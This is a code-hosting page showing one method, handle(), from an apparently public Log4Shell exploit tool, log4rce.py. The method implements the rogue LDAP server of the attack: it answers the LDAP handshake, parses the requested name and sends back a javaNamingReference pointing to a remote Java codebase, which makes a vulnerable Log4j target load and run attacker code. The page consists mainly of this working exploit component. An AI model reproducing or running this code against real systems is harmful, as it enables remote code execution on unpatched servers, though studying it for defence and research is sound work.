MCPcopy Create free account
hub / github.com/alexandre-lavoie/python-log4rce / handle

Method handle

log4rce.py:152–178  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

150 super().__init__(*args, **kwargs)
151
152 def handle(self):
153 ldap_logger.info(f"Query from {self.request.getpeername()}")
154
155 handshake = self.request.recv(8096)
156
157 self.request.sendall(b"0\x0c\x02\x01\x01a\x07\n\x01\x00\x04\x00\x04\x00")
158
159 time.sleep(0.5)
160
161 query = self.request.recv(8096)
162
163 if len(query) < 10:
164 return
165
166 query_name = query[9:9+query[8:][0]].decode()
167
168 response = LDAPResponse(query_name, {
169 "javaClassName": self.__java_class.name,
170 "javaCodeBase": self.__path,
171 "objectClass": "javaNamingReference",
172 "javaFactory": self.__java_class.name
173 })
174 self.request.sendall(response.serialize())
175
176 time.sleep(0.5)
177
178 acknowledge = self.request.recv(8096)
179
180class HTTPHandler(http.server.BaseHTTPRequestHandler):
181 """

Callers

nothing calls this directly

Calls 2

serializeMethod · 0.95
LDAPResponseClass · 0.85

Tested by

no test coverage detected